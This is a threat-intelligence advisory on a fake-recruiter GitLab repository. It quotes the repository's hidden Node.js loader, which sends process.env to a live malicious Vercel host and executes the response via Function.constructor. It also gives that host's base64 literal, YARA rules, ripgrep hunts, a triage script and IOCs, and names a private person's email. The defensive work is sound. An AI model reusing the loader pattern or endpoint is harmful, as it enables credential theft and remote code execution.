The HTTP response body is compiled and executed as JavaScript with Node's require supplied | Confirmed | auth.controller.js:78; Function.constructor === Function is verifiable in a Node REPL |
The payload fires on npm start, not on npm install | Confirmed | package.json:54-61 declares no lifecycle hooks; app.js:25 requires the carrier |
The base64 literal decodes to https://ipcheck-hashed.vercel.app/api/auth/b4dadd6a26d820d08596 | Confirmed | Deterministic offline decode; re-encoding reproduces the literal byte for byte |
The function is excluded from module.exports and self-invoked on its closing-brace line | Confirmed | auth.controller.js:84 and :123-128 |
| The "IP logger" reads no IP address | Confirmed | Zero-count search over all 56 tracked files |
| The endpoint host is documented in at least 21 public malicious-package advisories, 2026-04-16 to 2026-08-29 | Confirmed | OSV API, identifiers listed in Section 10.4 |
The exact path token in this sample was published on 2026-04-16 for npm chai-as-init | Confirmed | https://api.osv.dev/v1/vulns/MAL-2026-2891 |
| The same helper idioms appear in third-party preserved samples of the same kit | Corroborated | Named repositories and writeups cited in Section 10.5 |
The propfi-2026 group was created 2026-09-08T02:17:00.434Z | Confirmed | https://gitlab.com/api/v4/groups/propfi-2026, still retrievable |
| The commit is a root commit, unsigned, author equal to committer, self-dated 2026-08-15T10:14:23-05:00 | Confirmed | git cat-file -p HEAD on the preserved clone |
| The commit author email is the GitLab account's registered address | Confirmed | https://gitlab.com/api/v4/users?username=francois-gitlab returns an avatar URL whose path segment is the SHA-256 of the account's primary email, and that value equals sha256("francois.pintart514@outlook.com") exactly |
| The project returned 404 at 2026-09-08T14:11:54Z | Confirmed at that time | Captured during this investigation; the project was publicly retrievable again (HTTP 200) at 15:54:54Z |
| The project and push timestamps (02:29:41Z, 02:29:42Z, 02:32:44Z force-push) | Confirmed, reproducible | Captured from the GitLab API; we publish the endpoints and invite GitLab to confirm or correct |
| The decoy application has no tokenisation, investor, offering, KYC or ledger model | Confirmed | Model directory read in full; src/ makes zero network calls |
| No second payload exists anywhere else in the repository | Confirmed for source | Zero-count searches in Section 6.6; the two .glb binaries were string-scanned but not deep-parsed |
| Assessment | Confidence | What it rests on | What would settle it |
|---|---|---|---|
| The concealment is deliberate rather than incompetent | High | Fifteen independent signals and twelve counterfactual differences inside fourteen lines (Section 5) | Nothing available to us; it is an inference about intent and stays labelled as one |
| This is a reused kit rather than bespoke code | High | Identically-named setApiKey atob wrapper, identical axios.post(api, {...process.env}) shape, identical x-secret-header constant, and sibling ipcheck-*.vercel.app naming in third-party preserved samples | Byte-level diff against those samples, which we have not performed |
| The same operator ran the npm packages and this repository | Not established | Shared endpoint and shared code kit only | Infrastructure records, or a stage-two sample linking them |
| The broken application increases dwell time by design | Not established (mechanism observed, intent not) | The payload provably completes before any visible failure, and dotenv provably loads one require earlier | Nothing available to us |
The reviewer's own .env would be harvested if they created one | High | config.js:1 dotenv load at app.js:8 precedes the payload at app.js:25 | Directly verifiable by reading; it is close to observed, and we label it high rather than confirmed only because it is conditional on the reviewer's behaviour |
The x-secret-header gate and per-campaign path exist to filter researchers | Moderate | The header has no protocol purpose; the path token is stable per campaign | Nothing further available to us: we hold one stage-two response but have not deobfuscated it and cannot infer targeting policy from a single retrieval |
| What the second stage actually does | Not established | The payload is retrieved and held, but it is heavily string-obfuscated and was never executed or reversed | Deobfuscation, or detonation in an isolated environment by a party equipped to do it |
| Attribution to any actor, group or nation-state | Not established, and not claimed | Nothing in the sample distinguishes one operator from another | Not resolvable from this evidence |
Whether thisisreal.io or its operators have any connection to this repository | Not established | No evidence in either direction; the domain predates the commit by about thirty months | A statement from that party, or records we do not hold |
| Whether the LinkedIn company page is operated by the company it presents itself as | Not established, and not investigated | We did not attempt to determine it; the company's own site returned HTTP 503 | A statement from that company, or LinkedIn's own records |
Published research by several vendors describes campaigns of the same shape as this one: fake recruiter approaches, repositories supplied for "review", base64-hidden endpoints in server/config/, serverless payload hosts, and remote-code execution through Function.constructor. Some of that research attributes those campaigns to a specific nation-state actor.
We do not adopt that attribution, and this advisory makes none. We cite the literature as pattern context only. Techniques are not identities: kits of this sort are copied, sold and reused by unrelated operators, and this sample contains no artifact that distinguishes one operator from another. There is no known malware family string in it, no port-1224 beacon, no blockchain-staged payload, and no .vscode/tasks.json abuse. Settling attribution would require the second stage, infrastructure overlap with a known cluster, or persona linkage. We have none of the three.
The specific sources we rely on for pattern context, with what each actually supports:
https://blog.nviso.eu/2025/11/13/contagious-interview-actors-now-utilize-json-storage-services-for-malware-delivery/. Documents a campaign which it says typically opens with a fake recruiter, though its specific documented approach used a fake medical director, and which offered work on what it describes as a next-generation realtor platform. Its payload configuration sat in server/config/.config.env as "a base64-encoded variable that is masqueraded as an API key", imported by a file under server/controllers/. It names malicious GitLab groups including technicalmanager-group/real-esate, real-world-assest-tokenization/goldencity and goldencity-group/goldencity-demo. That is the same decoy sector, the same file layout and the same disguise. It is not the same staging channel: NVISO's variant stages through JSON storage services rather than a serverless endpoint.https://www.trendmicro.com/en_us/research/26/d/void-dokkaebi-uses-fake-job-interview-lure-to-spread-malware-via-code-repositories.html. Measured prevalence in a single March 2026 scan: 750 or more infected repositories, 392 malicious tasks.json downloaders plus 131 more, and 101 instances of a commit-tampering tool. Also documents the lure as asking targets to clone from GitHub, GitLab or Bitbucket: "the victim is asked to clone a code repository and review or run it as part of a technical assessment."https://www.kaseya.com/blog/phishing-campaigns-abusing-vercels-free-hosting-platform/. Documents abuse of free serverless hosting generally: "instant deployment, no identity verification, valid TLS certificates, high domain reputation and trivial rotation when a subdomain is taken down", with 6,283 or more emails blocked across 2,030 or more organisations between December 2025 and May 2026. These figures describe platform abuse in general, not this campaign's volume.https://www.csoonline.com/article/4143199/north-korean-fake-it-worker-tradecraft-exposed.html. Reports that GitLab banned 131 accounts in 2025 in connection with campaigns of this family (an unrelated figure; the 131 in the Trend Micro bullet above counts files, not accounts). We cite only that figure to this source. We attempted to read GitLab's own threat-intelligence post directly and received HTTP 403, so we do not attribute any further specifics to GitLab, and we do not cite unofficial mirrors of it.https://dev.to/vladimirnovick/a-linkedin-recruiter-sent-me-malware-disguised-as-a-pre-interview-code-review-2k3j, describes a LinkedIn recruiter supplying a repository to "review the codebase before the technical interview", with the identical axios.post(api, {...process.env}) plus x-secret-header: secret plus new (Function.constructor)("require", responseData) triple. In that case the second stage was staged through a public Google Doc rather than a *.vercel.app endpoint, so it is not a further sighting of the serverless host in this case. This is a named practitioner's account, not a vendor report, and we cite it as such.One correction to circulating advice, because it matters and it is wrong for this family: npm install --ignore-scripts does not help here. See Section 2, finding 7.
Our evidence establishes what one public GitLab repository contained and what its single commit records. It establishes nothing beyond that. Specifically, we did not find, and we do not assert, any of the following.
https://urlscan.io/api/v1/search/?q=page.domain%3A%22ipcheck-hashed.vercel.app%22 returned total: 0). Anonymous search sees only public scans; unlisted and private submissions are invisible. That is an absence in one source, not evidence that the infrastructure is unknown to the industry. We have not surveyed commercial vendor telemetry or blocklists.https://gitlab.com/api/v4/search?scope=blobs) returns HTTP 401 to anonymous callers, so we could not search for HASHED_URL, ipcheck-hashed or x-secret-header across GitLab. Sibling GitLab-hosted lures are invisible to this research. This is the single largest gap in our coverage.HASHED_URL, ipLogger, the "HASHED ENDPOINT" comment) as a general hunting signature; they appear to be renamed per lure. Hunt the behaviour instead./.well-known/security.txt, and we make no claim about what they contain. We therefore also make no finding as to whether the LinkedIn company page supplied to the reporter is operated by that company, and we have not asked LinkedIn to act against it.thisisreal.io, or any individual named on it, to this repository. The domain was registered on 2024-02-16, roughly two and a half years before the commit, on a five-year term, and carries an independent public footprint. We cannot determine from outside whether its brand was borrowed without its knowledge; we assess that as the more likely reading, and we do not assert it.npm install, npm start, and every file in it were never executed. No Lifted Holdings credentials, environment, or systems were exposed to this code.Any reading of this advisory as a finding against RealT, against thisisreal.io, or against the individual whose LinkedIn account carried the approach is reading something we did not write and the evidence does not support. We will update this advisory if any party publishes findings that change it.
The endpoint is the weakest indicator in this case. The kit's documented variants rotate where the address lives: this sample hardcodes it base64-encoded in a config file, one npm variant shadowed it in an environment variable, and a reported repository variant fetched it from an editable public document so the operator could rotate it without a commit. Block the hostname, but hunt the shape.
Three rules, printed below exactly as they are published in lh-2026-004.yar. They compile under yara-python 4.5.4 and they match exactly two of the 56 files in this sample: rule 1 fires on server/controllers/auth.controller.js, rule 2 fires on server/config/config.js, and rule 3 fires on both. None of them fires on server/providers/helper.js, which contains atob but no execution primitive. An independent sweep of 439,847 files across a working developer estate, including every local node_modules tree, produced zero matches for rule 1.
Read this before deploying them. These rules match on indicator strings as well as on behaviour, so they will match a threat-intelligence document that quotes them, including this advisory. Each rule carries a $doc_* guard keyed on "LH-2026-" and "Lifted Holdings", and we verified that the guard suppresses a match on the complete advisory and on the rule file itself. The guard is a convenience, not a robustness property. We also verified that it does not suppress a match on an excerpt of the advisory that quotes the code without carrying those two strings, and an attacker who reads this file can embed the marker to evade it. Gate on file type and exclude your document store from scanning; do not rely on the guard.
/*
lh-2026-004.yar
LH-2026-004 / Lifted Holdings LLC / LH-IR-2026-0908-PROPFI
Daniel Wilson Kemp, 2026-09-08. TLP:CLEAR.
Detection for the Node.js "review our MVP before the meeting" job-lure
loader: fourteen lines that POST the whole process environment to a
base64-hidden endpoint and execute the HTTP response body as Node code
with require() threaded back in.
------------------------------------------------------------------
READ THIS BEFORE DEPLOYING - THESE RULES MATCH DOCUMENTATION
------------------------------------------------------------------
Rules 2 and 3 match on indicator strings, not only on behaviour. They
will therefore match this advisory, any IOC feed that quotes it, any
ticket or wiki page that pastes the base64 literal, and this rule file
itself. Each rule carries a $doc_* guard keyed on "LH-2026-" and
"Lifted Holdings" so that your own threat-intelligence document store
does not light up. That guard is a courtesy for defenders, NOT a
robustness property: an attacker who reads this file can embed the
marker to evade it. Gate on file type and exclude your document store
from scanning. Do not rely on the guard.
Rule 1 is the durable one. It is behavioural and survives rotation of
the hostname, the path token, the identifier names and the comments.
If you deploy only one rule, deploy rule 1.
Verification performed 2026-09-08: compiled with yara-python 4.5.4;
rule 1 fires on server/controllers/auth.controller.js of the preserved
clone, rule 2 fires on server/config/config.js, and rule 3 fires on both;
an independent sweep of 439,847 files across a working developer estate,
including every local node_modules tree, produced 0 matches for rule 1.
*/
rule JOBLURE_NodeJS_EnvExfil_FunctionCtor_Loader
{
meta:
author = "Daniel Wilson Kemp, Lifted Holdings LLC"
advisory = "LH-2026-004"
reference = "LH-IR-2026-0908-PROPFI"
date = "2026-09-08"
description = "Node.js loader that POSTs the whole process environment to a remote endpoint and executes the HTTP response with require() injected. Behavioural: does NOT depend on the C2 hostname, path token or identifier names."
confidence = "high"
tlp = "clear"
strings:
// PRIMITIVE. new Function.constructor("require", <data>) - compiles
// attacker-supplied text in global scope and hands it a live require,
// which turns arbitrary text into full Node capability (fs, net,
// child_process). The regex tolerates the "new (Function.constructor)"
// parenthesised form that public reporting of this kit also records.
// FP RISK: negligible. Across every local node_modules tree on the
// analysis workstation this pattern returned 0 hits.
$exec_ctor = /new\s*\(?\s*Function\s*\.\s*constructor\s*\)?\s*\(\s*['"]require['"]/
// PRIMITIVE. The plainer new Function("require", <data>) spelling.
// A researcher-maintained collection of preserved samples from this
// kit family annotates the Function.constructor primitive as dodging
// a naive grep for `new Function(`, so this string catches the
// variants that did not bother.
// FP RISK: negligible, for the same reason as $exec_ctor - the anchor
// is the literal PARAMETER NAME "require", which legitimate users of
// new Function() (template compilers, JSONPath, expression evaluators)
// do not use.
$exec_fn = /new\s+Function\s*\(\s*['"]require['"]\s*,/
// SECOND MARKER. Whole-environment capture, {...process.env}.
// FP RISK: HIGH ON ITS OWN. 168 files in one ordinary workstation's
// dependency trees contain this construct. It carries signal ONLY in
// combination with an execution primitive above. Never hunt on it
// alone and never promote it to a standalone rule.
$env_spread = /\{\s*\.\.\.\s*process\s*\.\s*env\s*\}/
// SECOND MARKER. The static request header this kit family sends, by
// which the operator separates a real victim from a crawler. It
// survives rotation of the host, which makes it the most durable
// NETWORK signature in the case.
// FP RISK: very low. Not a registered or conventional header name.
$hdr = "x-secret-header" nocase
// SECOND MARKER. atob() applied to an IDENTIFIER rather than to a
// literal - runtime decoding of a value held in config, which is the
// concealment step itself. Deliberately does not match atob("...").
// FP RISK: moderate in browser-side code, low in server-side Node.
$atob_call = /atob\s*\(\s*[A-Za-z_$][\w$.]*\s*\)/
// SECOND MARKER. Base64 of the ASCII "https:/" - the leading bytes of
// any base64-encoded https URL, i.e. a concealed endpoint on any host.
// FP RISK: HIGH ON ITS OWN. Occurs in any file embedding a base64 URL,
// including entirely legitimate data URIs, fixtures and test vectors.
$b64_https = "aHR0cHM6Ly"
// SECOND MARKER. Module-load self-invocation: a function expression
// closed and immediately called on the same line - "}; ipLogger();".
// This is what makes the payload a side effect of require() rather
// than something a reader can see wired into a route.
// NOT anchored to start-of-line on purpose: an anchored pattern misses
// " }; ipLogger();" indented by two spaces, which is enough to defeat
// it on its own.
// FP RISK: HIGH ON ITS OWN - ordinary IIFE-adjacent code matches it.
$selfinvoke = /\}\s*;\s*[A-Za-z_$][\w$]*\s*\(\s*\)\s*;/
// SCOPE GUARD, not an indicator. Suppresses this advisory, any IOC
// feed quoting it, and this rule file. See the header note: a
// convenience, not a security property.
$doc_a = "LH-2026-"
$doc_b = "Lifted Holdings"
condition:
filesize < 512KB
and not any of ($doc_*)
and (
( any of ($exec_ctor, $exec_fn)
and any of ($env_spread, $hdr, $atob_call, $b64_https, $selfinvoke) )
or ( $env_spread and $hdr )
)
}
rule JOBLURE_C2_ipcheck_hashed_vercel_app
{
meta:
author = "Daniel Wilson Kemp, Lifted Holdings LLC"
advisory = "LH-2026-004"
reference = "LH-IR-2026-0908-PROPFI"
date = "2026-09-08"
description = "Indicator rule for the ipcheck-hashed.vercel.app endpoint - plaintext, the committed base64 literal, the hostname at all three base64 byte-phase alignments, and the four known path tokens."
confidence = "high"
tlp = "clear"
caveat = "Indicator rule. Perishable - it dies the moment the operator rotates the host. Rule 1 is the durable detection."
strings:
// The operator-controlled hostname in plaintext. Named in at least 21
// OSV/GHSA advisories between 2026-04-16 and 2026-08-29.
// FP RISK: essentially zero as a string in code; but see the header
// note - it WILL match every writeup, feed and ticket about the case.
$host = "ipcheck-hashed.vercel.app" nocase
// The exact base64 literal as committed at server/config/config.js:64.
// Highest-fidelity content hunt term in the case: greppable without
// decoding anything, and it cannot occur by accident.
// FP RISK: zero outside documentation.
$b64_full = "aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBwL2FwaS9hdXRoL2I0ZGFkZDZhMjZkODIwZDA4NTk2"
// The hostname base64-encoded at byte-phase 0 - the host sitting at an
// offset that is a multiple of 3 inside a larger blob. The trailing
// partial group is dropped so the string stays valid mid-blob, i.e.
// when a path follows the hostname. DERIVED by computation, not
// observed in any sample we hold.
// FP RISK: negligible - a 32-character host-specific substring.
$b64_p0 = "aXBjaGVjay1oYXNoZWQudmVyY2VsLmFw"
// The hostname base64-encoded at byte-phase 1. DERIVED, not observed.
// FP RISK: negligible.
$b64_p1 = "Y2hlY2staGFzaGVkLnZlcmNlbC5h"
// The hostname base64-encoded at byte-phase 2. This is the alignment
// that OCCURS in this sample, because "https://" is 8 bytes so the
// hostname begins at offset 8. It is a substring of $b64_full.
// FP RISK: negligible.
$b64_p2 = "cGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBw"
// Path token in THIS sample. NOT per-victim: it was published as an
// indicator on 2026-04-16 in MAL-2026-2891 for npm package
// chai-as-init, months before this lure was delivered. Per-campaign.
// FP RISK: negligible - 20 hex characters.
$tok1 = "b4dadd6a26d820d08596"
// Dominant path token across the family - 17 of the 21 OSV advisories.
// FP RISK: negligible.
$tok2 = "6c1d60d35852ef0c05df"
// Third path token, npm chai-as-sets (MAL-2026-10519, 2026-07-14).
// FP RISK: negligible.
$tok3 = "00fbe23fd7efc30639f1"
// Fourth path convention on the same host (/api/identity/...), seen in
// a public third-party GitHub repository on 2026-09-08. We make no
// allegation about who controls that account; it may itself be
// compromised or fabricated.
// FP RISK: negligible.
$tok4 = "1a6e008f91d4ca2566f4"
// SCOPE GUARD, not an indicator. See the header note.
$doc_a = "LH-2026-"
$doc_b = "Lifted Holdings"
condition:
filesize < 10MB
and not any of ($doc_*)
and any of ($host, $b64_full, $b64_p0, $b64_p1, $b64_p2, $tok1, $tok2, $tok3, $tok4)
}
rule JOBLURE_PropFi_MVP_Sample
{
meta:
author = "Daniel Wilson Kemp, Lifted Holdings LLC"
advisory = "LH-2026-004"
reference = "LH-IR-2026-0908-PROPFI"
date = "2026-09-08"
description = "Pins the specific PropFi sample and lightly edited copies of it. Requires two independent strings so that a single quoted line cannot trip it."
confidence = "high"
tlp = "clear"
caveat = "Sample-pinning rule. The identifier names in it appear to be renamed per lure, so a variant will evade it. Rule 1 is the durable detection."
strings:
// The committed base64 endpoint literal, config.js:64.
// FP RISK: zero outside documentation.
$s1 = "aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBwL2FwaS9hdXRoL2I0ZGFkZDZhMjZkODIwZDA4NTk2"
// The verbatim source comment sitting above it, config.js:63. The
// operator renames identifiers per lure, so treat as sample-specific.
// FP RISK: zero.
$s2 = "HASHED ENDPOINT for IP Logger"
// The loader function name, auth.controller.js:71 - self-invoked at
// :84 and deliberately absent from module.exports at :123-128.
// FP RISK: MODERATE. "ipLogger" is a plausible name in benign
// request-logging middleware. Never use it alone; this rule demands a
// second independent hit for exactly this reason.
$s3 = "ipLogger"
// console.log at auth.controller.js:79, printed AFTER the second stage
// has already been compiled and executed. The ungrammatical phrasing
// makes it a low-frequency string.
// FP RISK: low.
$s4 = "The request was completed successfully!"
// console.log at auth.controller.js:82, the .catch branch. Same
// ungrammatical phrasing, same low frequency.
// FP RISK: low.
$s5 = "The request was failed: "
// The vestigial base64 helper with zero callers, helper.js:19. An
// identically-named export appears in at least two third-party
// preserved samples of this kit, which is what makes it a kit
// fingerprint rather than a coincidence of idiom. The regex covers
// both the arrow-with-block and concise-arrow spellings.
// FP RISK: low. "setApiKey" alone is common; setApiKey defined as a
// bare atob() wrapper is not.
$s6 = /setApiKey\s*[:=]\s*\(?\s*s\s*\)?\s*=>\s*\{?\s*(return\s+)?atob\s*\(\s*s\s*\)/
// SCOPE GUARD, not an indicator. See the header note.
$doc_a = "LH-2026-"
$doc_b = "Lifted Holdings"
condition:
filesize < 512KB
and not any of ($doc_*)
and 2 of ($s*)
}
Design notes, including the parts that are weak.
"require" parameter-name anchor is what makes rule 1 usable. On the same workstation, new Function('require', and Function.constructor("require" each returned zero hits across every dependency tree present. Legitimate dynamic-code users do not name a parameter require.{...process.env} is not rare and must never be hunted alone. In that same sweep it appears in 168 files matching the exact braced form {...process.env}. It carries signal only in combination with the execution primitive. The rule reflects that: $env_spread is only ever a second marker, or is paired with $hdr.$b64_https and $selfinvoke are broad by design and must remain second markers. Do not promote either to a standalone condition.Each of these fires on the sample. Run them across your estate and across any repository a stranger has asked you to open.
# Execution primitives
rg -n --glob '!node_modules' --glob '!*.min.js' 'Function\s*\.\s*constructor'
rg -n --glob '!node_modules' 'new\s+Function\s*\(\s*["\x27]require["\x27]'
# Whole-environment capture. HIGH FALSE POSITIVE RATE ON ITS OWN.
# Only meaningful when it co-occurs with one of the primitives above.
rg -n --glob '!node_modules' '\{\s*\.\.\.\s*process\.env\s*\}'
# This kit's constant header
rg -n --glob '!node_modules' -i 'x-secret-header'
# The endpoint, plaintext and base64
rg -n --glob '!node_modules' 'ipcheck-hashed'
rg -n --glob '!node_modules' 'aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBw'
rg -n --glob '!node_modules' 'b4dadd6a26d820d08596|6c1d60d35852ef0c05df|00fbe23fd7efc30639f1|1a6e008f91d4ca2566f4'
# Runtime base64 decoding of an identifier (not of a literal)
rg -n --glob '!node_modules' -g '*.js' '\batob\s*\(\s*[A-Za-z_$]'
# Module-load self-invocation. NOT anchored to column 1 on purpose:
# an anchored pattern misses " }; ipLogger();" indented by two spaces,
# which is enough to defeat it. This expression is FP-prone unanchored,
# so READ the hits; do not count them.
rg -n --glob '!node_modules' '\}\s*;\s*[A-Za-z_$][A-Za-z0-9_$]*\s*\(\s*\)\s*;'
Network side. Search proxy, DNS and endpoint-detection logs for the hostname ipcheck-hashed.vercel.app, and for outbound requests carrying the header x-secret-header. That header has no legitimate purpose in ordinary traffic and is the most durable network signature in this case, because it survives rotation of the host.
Dependency side. Sweep lockfiles, CI caches and node_modules archives for the 21 npm package names in Section 10.4. All have been removed from the registry: the ones we sampled at https://registry.npmjs.org/<package> on 2026-09-08 now show only npm's 0.0.1-security security-hold placeholder, or an empty versions list, so a name appearing in your lockfile means the malicious version was once resolvable. Per the published advisories, any host that installed one should be treated as fully compromised.
Retrieved from https://api.osv.dev/v1/vulns/<ID> on 2026-09-08. All are npm packages, all now removed from the registry.
| Advisory | Package | Published |
|---|---|---|
| MAL-2026-2891 (GHSA-7cq2-px9f-cq3g) | chai-as-init | 2026-04-16 |
| MAL-2026-5577 | web-pool | 2026-06-11 |
| MAL-2026-5606 (GHSA-782j-c8c3-2j5w) | chai-dec | 2026-06-11 |
| MAL-2026-5925 | motion-lib | 2026-06-16 |
| MAL-2026-7008 | chai-as-const | 2026-07-08 |
| MAL-2026-7009 | configration | 2026-07-08 |
| MAL-2026-10046 | chai-as-smart | 2026-07-09 |
| MAL-2026-10054 | chai-smart | 2026-07-09 |
| MAL-2026-10175 | chai-as-doc | 2026-07-10 |
| MAL-2026-10410 | cookie-phase | 2026-07-13 |
| MAL-2026-10411 | cookie-sign | 2026-07-13 |
| MAL-2026-10518 | chai-as-auth | 2026-07-14 |
| MAL-2026-10519 | chai-as-sets | 2026-07-14 |
| MAL-2026-10534 | motion-pull | 2026-07-14 |
| MAL-2026-10575 | web-pop | 2026-07-14 |
| MAL-2026-10607 | chai-as-act | 2026-07-14 |
| MAL-2026-10630 | chai-as-byte | 2026-07-15 |
| MAL-2026-14343 | chai-as-soul | 2026-08-21 |
| MAL-2026-14491 | chai-as-otc | 2026-08-25 |
| MAL-2026-14532 | chai-as-org | 2026-08-26 |
| MAL-2026-15554 | eth-pino | 2026-08-29 |
Path-token distribution across those 21: 6c1d60d35852ef0c05df in 17, b4dadd6a26d820d08596 in one (chai-as-init, the token in this sample), 00fbe23fd7efc30639f1 in one (chai-as-sets), and two advisories (cookie-phase, chai-as-const) whose text truncates the path. The token behaves as a per-campaign identifier, not a per-target one.
OSV publication dates are when the advisory was filed, not when the package or the host first went live, so the true campaign start is at or before 2026-04-16. A GitHub code search for the hostname returned 22 results on 2026-09-08 - the 21 advisory files above plus one live repository, danxeth436/eSTOKyam, which uses a fourth path convention (/api/identity/...) rather than /api/auth/. GitHub code search indexes only default branches of public repositories and its count reflects the index at query time, so 22 is a floor, not a ceiling.
Cited so a defender can compare code rather than take our word for it. Each is a repository operated by a third party, retrieved 2026-09-08. We make no allegation about who controls any of these accounts, and preservation repositories are maintained by researchers and victims.
https://github.com/aka-rider/contagious-interview-malware-do-not-run (server/config/index.js) contains export const setApiKey = (s) => atob(s); and export const verify = (api) => axios.post(api,{ ...process.env },{ headers: { "x-secret-header": "secret" } });.https://github.com/eastmade/web3project-momo-token (backend/src/utils/redis.js) contains the identical pair.https://github.com/AdarshRouniyar79/silknote-mvp-review (auth/config/index.js) contains an axios.get variant with a base64 blob for a different serverless host.https://github.com/xndbogdan/malicious-repositories collects several, including a real-estate "MVP" variant, and annotates the same Function.constructor primitive.https://raw.githubusercontent.com/danxeth436/eSTOKyam/HEAD/server/config/constant.js contains the same endpoint hostname at a different path, sitting among genuine blockchain RPC constants. We report the URL as an indicator and make no allegation about who controls that account; the account may itself be compromised or fabricated.Static screen for an untrusted repository, to be run before npm install. It reads the repository's files. The only process it starts is node -e to parse package.json; it never runs code from the repository. It fails closed: if ripgrep is not installed, or the target is not a directory, it prints triage did NOT run and exits 2 rather than printing empty sections that read as "clean". It exits 1 when anything is flagged, so it can gate a CI step.
Verified against this sample: section 3 flags auth.controller.js:78, section 4 flags :74, section 5 flags helper.js:19 and :73, section 6 prints the single decoded endpoint URL, section 7 reports one commit and one author, section 8 reports the missing and gitignored lockfile, and section 9 flags :84. Exit code 1. With ripgrep removed from PATH it exits 2 without printing a clean-looking report.
#!/usr/bin/env bash
# repo-triage.sh - static triage of an untrusted repository BEFORE npm install.
# LH-2026-004 / Lifted Holdings LLC.
#
# It reads the repository's files. The only process it starts is `node -e` to
# parse package.json; it never runs code from the repository.
#
# Exit codes: 0 = nothing flagged 1 = something flagged 2 = triage did NOT run
#
# Usage: bash repo-triage.sh /path/to/cloned/repo
set -u
TARGET="${1:-.}"
FLAG=0
command -v rg >/dev/null 2>&1 || {
echo "FATAL: ripgrep (rg) not found - triage did NOT run. Install ripgrep and re-run."
exit 2
}
[ -d "$TARGET" ] || { echo "FATAL: '$TARGET' is not a directory - triage did NOT run."; exit 2; }
RG="rg -n --no-heading --glob !node_modules --glob !.git"
echo "=== repo-triage.sh :: $TARGET ==="
echo
echo "--- 1. npm install lifecycle scripts (fire on npm install) ---"
if [ -f "$TARGET/package.json" ] && command -v node >/dev/null 2>&1; then
node -e '
const p = require(process.argv[1]);
const s = p.scripts || {};
const hooks = ["preinstall","install","postinstall","prepare","prepublish","prepublishOnly"];
let found = false;
for (const h of hooks) if (s[h]) { console.log(" " + h + ": " + s[h]); found = true; }
if (!found) console.log(" none");
' "$TARGET/package.json" || echo " (node parse failed; see grep fallback below)"
fi
$RG '"(pre|post)?install"|"prepare"|"prepublish(Only)?"' "$TARGET/package.json" 2>/dev/null || true
echo
echo "--- 2. run scripts (fire on npm start / dev / build / test) ---"
$RG '"(start|dev|build|test|serve)"\s*:' "$TARGET/package.json" 2>/dev/null || echo " none"
echo
echo "--- 3. dynamic execution primitives [ANY HIT => DO NOT INSTALL] ---"
if $RG -e 'Function\s*\.\s*constructor' -e 'new\s+Function\s*\(' -e '\beval\s*\(' \
-e 'child_process' -e 'execSync|spawnSync|execFile' -e 'vm\.runIn' "$TARGET"; then
FLAG=1
else
echo " none"
fi
echo
echo "--- 4. whole-environment capture [ANY HIT => DO NOT INSTALL] ---"
if $RG -e '\{\s*\.\.\.\s*process\.env\s*\}' -e 'JSON\.stringify\s*\(\s*process\.env' "$TARGET"; then
FLAG=1
else
echo " none"
fi
echo
echo "--- 5. runtime base64 decoding of an identifier [ANY HIT => DO NOT INSTALL] ---"
if $RG -e '\batob\s*\(' -e "Buffer\.from\s*\([^,]+,\s*['\"]base64['\"]\s*\)" "$TARGET"; then
FLAG=1
else
echo " none"
fi
echo
echo "--- 6. base64 blobs that decode to a URL [ANY HIT => DO NOT INSTALL] ---"
while IFS= read -r b; do
d=$(printf '%s' "$b" | base64 -d 2>/dev/null) || continue
case "$d" in
http://*|https://*) echo " $b"; echo " -> $d"; FLAG=1 ;;
esac
done < <($RG -o '[A-Za-z0-9+/]{24,}={0,2}' "$TARGET" 2>/dev/null | sed 's/^.*://' | sort -u)
[ "$FLAG" -eq 1 ] || echo " none"
echo
echo "--- 7. history depth and author set ---"
if [ -d "$TARGET/.git" ]; then
echo " commits: $(git -C "$TARGET" rev-list --count HEAD 2>/dev/null)"
echo " authors: $(git -C "$TARGET" log --format='%ae' 2>/dev/null | sort -u | tr '\n' ' ')"
echo " root commits: $(git -C "$TARGET" rev-list --max-parents=0 HEAD 2>/dev/null | tr '\n' ' ')"
else
echo " no .git directory"
fi
echo
echo "--- 8. lockfile ---"
if ls "$TARGET"/package-lock.json "$TARGET"/yarn.lock "$TARGET"/pnpm-lock.yaml >/dev/null 2>&1; then
echo " present"
else
echo " MISSING - npm ci is impossible and the installed tree is unreproducible"
$RG -e 'package-lock\.json' -e 'yarn\.lock' -e 'pnpm-lock\.yaml' "$TARGET/.gitignore" 2>/dev/null \
&& echo " ...and it is gitignored"
fi
echo
echo "--- 9. module-load self-invocations (FP-prone: READ these, do not count them) ---"
$RG '\}\s*;\s*[A-Za-z_$][A-Za-z0-9_$]*\s*\(\s*\)\s*;' "$TARGET" || echo " none"
echo
if [ "$FLAG" -eq 1 ]; then
echo "RESULT: FLAGGED. Do not run npm install or npm start against this repository."
else
echo "RESULT: nothing flagged by these checks. This is a screen, not a proof."
fi
exit $(( FLAG ? 1 : 0 ))
The script is a screen, not a proof. It detects this kit's shape. An attacker who reads it can evade it with string concatenation, hex or character-code encoding, XOR, or a pointer fetched from a document rather than embedded in the repository. Section 6 will also surface benign encoded assets in repositories that inline data URIs for logos or fonts, so expect noise there and read the output rather than counting it.
These are actions, not principles. Each one is a thing to do before the next repository link arrives.
package.json and every file it names, before you install anything. scripts.start, scripts.dev and any lifecycle hook are the first things an attacker controls. In this case the entire attack is reachable from README.md:29 plus package.json:56 plus one require chain.npm install --ignore-scripts. It is the most commonly repeated advice for this threat and it does not work here. This payload has no install hook: it fires on npm start.{...process.env}; the defence is an environment that contains nothing. Do not use a container that inherits your host environment or mounts your home directory..env inside an untrusted repository on a machine that matters. If the application is broken and you are tempted to add configuration to make it start, stop. In this sample dotenv loads one require before the payload runs, so the credentials you add to fix the app are collected on the next attempt.eval. Function\s*\.\s*constructor and new Function('require' are the two expressions this family uses precisely because they are not eval. See Section 10.3.npm ci, so you cannot install a recorded tree, and nobody can reproduce what you installed..env in the working directory, starting with registry and version-control tokens because they convert one laptop into a supply-chain foothold. Revoke sessions and OAuth grants, not just passwords. Then hunt for persistence in shell profiles, scheduled tasks, systemd units and globally installed npm packages, because stage two was never written to disk and left no file to find./.well-known/security.txt and make sure the address in it accepts mail. During this investigation we could not read the security contact of a company whose name appeared in the approach, because its site returned HTTP 503 to every retrieval. A researcher who cannot reach you cannot warn you.All indicators observed 2026-09-08 unless otherwise stated. Do not open any URL below in a browser. Defanged forms for prose: 